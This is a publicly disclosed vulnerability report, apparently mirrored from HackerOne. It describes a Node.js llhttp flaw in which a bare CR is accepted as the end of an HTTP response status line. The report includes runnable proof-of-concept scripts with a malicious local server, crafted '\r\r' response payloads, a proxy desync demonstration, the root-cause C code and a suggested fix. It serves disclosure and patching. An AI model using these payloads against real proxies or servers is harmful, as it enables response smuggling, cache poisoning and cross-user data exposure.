HexBrain

Node.js · Report #3648681

Improper Input Validation — HTTP Response Parser Unconditionally Accepts Bare CR in Status Line

Validstatus
mediumseverity
30upvotes
1 Jul 2026disclosed

How it was found

Weakness: Improper Input Validation — HTTP Response Parser Unconditionally Accepts Bare CR in Status Line

Summary

The llhttp HTTP response parser (bundled with Node.js) unconditionally accepts a bare carriage return (\r / 0x0D) as a valid response status line terminator when it follows an initial \r. This means a second \r is consumed and treated as a valid line ending, transitioning the parser to header processing without requiring the mandatory LF (\n / 0x0A) that RFC 7230 §3.1.2 demands.

The same bare CR is correctly rejected in the request parsing path — creating a request/response parsing asymmetry. A strict RFC-compliant reverse proxy sitting in front of a malicious backend will reject the bare CR, while the Node.js HTTP client silently accepts it. This parsing differential enables HTTP Response Queue Poisoning / Response Smuggling.

  • Affected Component: deps/llhttp/src/llhttp.c — state s_n_llhttp__internal__n_res_line_almost_done (line 6130)
  • Affected Versions: Node.js up to v24.14.1 (llhttp v9.3.0 / v9.3.1)
  • No Lenient Flags Required: This vulnerability triggers in strict mode with insecureHTTPParser: false (the default)

Steps To Reproduce

Step 1: Basic — Node.js accepts bare CR in response status line

Create a file poc_basic.js:

const http = require('http');
const net = require('net');

const server = net.createServer((sock) => {
  // Response with bare CR (\r\r) as status line terminator instead of \r\n
  const payload = 'HTTP/1.1 200 OK\r\rContent-Length: 4\r\n\r\nEvil';
  sock.write(payload);
  setTimeout(() => sock.end(), 300);
});

server.listen(19999, () => {
  const req = http.request({
    hostname: '127.0.0.1',
    port: 19999,
    path: '/',
    method: 'GET',
    insecureHTTPParser: false  // strict mode (default)
  }, (res) => {
    let body = '';
    res.on('data', (c) => body += c);
    res.on('end', () => {
      console.log('Status:', res.statusCode);         // 200
      console.log('Headers:', JSON.stringify(res.headers)); // {"content-length":"4"}
      console.log('Body:', body);                       // Evil
      server.close();
    });
  });
  req.on('error', (e) => console.log('Error:', e.message));
  req.end();
});

Run: node poc_basic.js

Output:

Status: 200
Headers: {"content-length":"4"}
Body: Evil

Node.js parses the response successfully — despite the status line being terminated with \r\r (bare CR) instead of the RFC-mandated \r\n (CRLF).

Step 2: Asymmetry — Request path correctly rejects bare CR

const http = require('http');
const net = require('net');

const server = http.createServer((req, res) => res.end('OK'));
server.listen(19998, () => {
  const sock = net.createConnection({ host: '127.0.0.1', port: 19998 }, () => {
    sock.write('GET / HTTP/1.1\r\rHost: localhost\r\n\r\n');
  });
  sock.on('data', (d) => {
    console.log(d.toString().split('\r\n')[0]);
    // Output: HTTP/1.1 400 Bad Request
    server.close();
    sock.destroy();
  });
});

Step 3: Full Exploit — Response Queue Poisoning via Strict Proxy

This step demonstrates the actual security impact with a strict RFC-compliant reverse proxy in the middle. Run poc_full_demo.js (attached) which includes:

  • A strict RFC reverse proxy that parses responses correctly (rejects \r\r)
  • A malicious backend that sends responses with \r\r
  • Two victim clients sharing the proxy's connection pool
Client A ──→ [Strict Proxy :18888] ──→ [Malicious Backend :18889]
Client B ──→ [Strict Proxy :18888] ──→ (same keep-alive pool)

Run: node poc_full_demo.js

Output (key evidence):

[PROXY] 🔴 BARE CR detected at offset 15!
[PROXY] STRICT PARSING: \r\r is INVALID per RFC 7230 §3.1.2
[PROXY] → Response is COMPLETE (no headers, no body)
[PROXY] Keeping 28 bytes as ORPHAN DATA
[PROXY]   Orphan hex: 436f6e74656e742d4c656e6774683a20360d0a0d0a48656c6c6f2041

[CLIENT A] Contains "Hello A": false
[CLIENT A] 🔴 Body was STRIPPED by proxy!

[PROXY] ⚠️  PREPENDING 28 bytes of ORPHAN DATA to request!
[BACKEND] Request #3: Content-Length: 6
[BACKEND] 🔴 GARBLED REQUEST LINE! Orphan data was prepended!
[BACKEND]   "Content-Length: 6\r\n\r\nHello AGET /page2 HTTP/1.1\r\n..."

[CLIENT B] 🔴🔴🔴 DESYNC CONFIRMED! 🔴🔴🔴
[CLIENT B] Got 400 Bad Request because:
[CLIENT B]   Proxy prepended orphan data to Client B's request
[CLIENT B]   Backend received garbled request → 400!

What happened step-by-step:

  1. Client A requested /page1 through the proxy
  2. Backend responded with HTTP/1.1 200 OK\r\rContent-Length: 6\r\n\r\nHello A
  3. Strict proxy interpreted \r\r as: status-complete + empty-line = response done (no body)
  4. Proxy kept Content-Length: 6\r\n\r\nHello A as orphan data in the connection pool
  5. Client B requested /page2 on the same proxy
  6. Proxy prepended orphan data to Client B's request
  7. Backend received: Content-Length: 6\r\n\r\nHello AGET /page2 HTTP/1.1\r\n... — garbled!
  8. Backend returned 400 Bad Request
  9. Client B's legitimate request was denied

PoC

See attached file: poc_full_demo.js — self-contained demo with built-in strict proxy, malicious backend, and two victim clients.

Also attached: poc_basic.js — minimal reproduction (no proxy needed).

Supporting Material/References

Root Cause — Generated C Code (deps/llhttp/src/llhttp.c)

Response path (vulnerable) — line 6130:

case s_n_llhttp__internal__n_res_line_almost_done: {
    if (p == endp) return s_n_llhttp__internal__n_res_line_almost_done;
    switch (*p) {
        case 10: {   // LF — valid
            p++;
            goto s_n_llhttp__internal__n_invoke_llhttp__on_status_complete;
        }
        default: {   // ANY byte (including CR) → lenient check
            goto s_n_llhttp__internal__n_invoke_test_lenient_flags_29;
        }
    }
}

The first CR is consumed at span_end_llhttp__on_status_1 (line 9617):

s_n_llhttp__internal__n_span_end_llhttp__on_status_1: {
    // ... on_status callback ...
    p++;    // ← CR is consumed here
    goto s_n_llhttp__internal__n_res_line_almost_done;
}

After the first CR, the parser enters res_line_almost_done. The second CR (0x0D) hits the default case and goes to the lenient flag check (LENIENT_OPTIONAL_LF_AFTER_CR / flag 0x40). Despite this flag being unset in strict mode, the parser accepts the bare CR and transitions to header processing.

Request path (correctly strict) — line 3309:

case s_n_llhttp__internal__n_req_http_complete_crlf: {
    switch (*p) {
        case 10: {   // LF only — valid
            p++;
            goto s_n_llhttp__internal__n_headers_start;
        }
        default: {   // CR or anything else → error in strict mode
            goto s_n_llhttp__internal__n_invoke_test_lenient_flags_26;
        }
    }
}

The request path only accepts LF (0x0A). A second CR in strict mode produces an error. This asymmetry is the root cause of the vulnerability.

Verified Test Results (Node.js v24.14.1, llhttp v9.3.0)

TestPayload PatternExpectedResult
T1: NormalHTTP/1.1 200 OK\r\n...ACCEPTACCEPT ✅
T2: Bare CRHTTP/1.1 200 OK\r\r...REJECTACCEPT ❌
T3: CR CR LFHTTP/1.1 200 OK\r\r\n...REJECTREJECT ✅
T4: Bare LFHTTP/1.1 200 OK\n...REJECTREJECT ✅
T5: Bare CR + CLHTTP/1.1 200 OK\r\rCL:4\r\n\r\nEvilREJECTACCEPT ❌
T6: Request path \r\rGET / HTTP/1.1\r\rHost:...REJECTREJECT ✅

Proxy Demo — Verified Desync Evidence

StepActorActionResult
1Client AGET /page1 via proxyForwarded to backend
2BackendResponds with \r\r status lineHTTP/1.1 200 OK\r\rCL:6\r\n\r\nHello A
3ProxyParses response strictlyTreats \r\r as response complete (no body)
4ProxyStores remaining 28 bytesContent-Length: 6\r\n\r\nHello A = orphan data
5Client BGET /page2 via proxyRequest sent to backend
6ProxyPrepends orphan dataCL:6\r\n\r\nHello A + GET /page2...
7BackendReceives garbled requestRequest line = Content-Length: 6 → 400 Bad Request
8Client BExpects page2 contentGets 400 error — legitimate request denied

Suggested Fix

In the generated C code at res_line_almost_done (and equivalently in the TypeScript source), the default case must explicitly handle CR (0x0D) to mirror the strictness of the request path. The response parser should only accept LF (0x0A) in the res_line_almost_done state, just as req_http_complete_crlf does:

// In res_line_almost_done state — add explicit CR handling:
case 10: {    // LF — only valid terminator
    p++;
    goto ...on_status_complete;
}
case 13: {    // CR — NOT valid here, only LF should complete the line
    goto s_n_llhttp__internal__n_error_97;  // "Missing expected LF after response line"
}
default: {
    goto s_n_llhttp__internal__n_invoke_test_lenient_flags_29;
}

This ensures the response parser mirrors the strictness already present in the request parser, eliminating the request/response asymmetry.

Impact

HTTP Response Queue Poisoning — Practically Exploited

The attached poc_full_demo.js provides a complete, self-contained proof-of-concept demonstrating:

  1. Connection pool desync: A strict reverse proxy (simulating Nginx, HAProxy, Cloudflare, etc.) and a Node.js HTTP client disagree on where an HTTP response ends, causing the proxy's connection pool to store orphan data.

  2. Cross-client data corruption: The orphan data from Client A's response is prepended to Client B's request, corrupting it. The backend returns a 400 Bad Request, denying Client B's legitimate request.

  3. Real-world attack scenarios:

    • Cache poisoning: A proxy caching responses based on its (wrong) parsing boundaries could cache partial/incorrect content served to other users
    • Credential theft: Orphan data containing sensitive headers/body from one user's response gets prepended to another user's request, potentially leaking into server logs or error messages
    • Session hijack: In a multi-tenant proxy environment, the desync enables one client to receive another client's response data
    • Denial of Service: Legitimate clients receive 400 errors or garbage responses when their requests are corrupted by orphan data

Severity factors:

  • Triggers in default/strict mode — no --insecure-http-parser flag needed
  • Affects all Node.js versions using llhttp for response parsing
  • The request/response asymmetry makes exploitation straightforward in any reverse-proxy architecture
  • No special conditions or configurations required beyond a malicious/cooperating backend
  • Practically exploited with a self-contained demo (no external dependencies)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original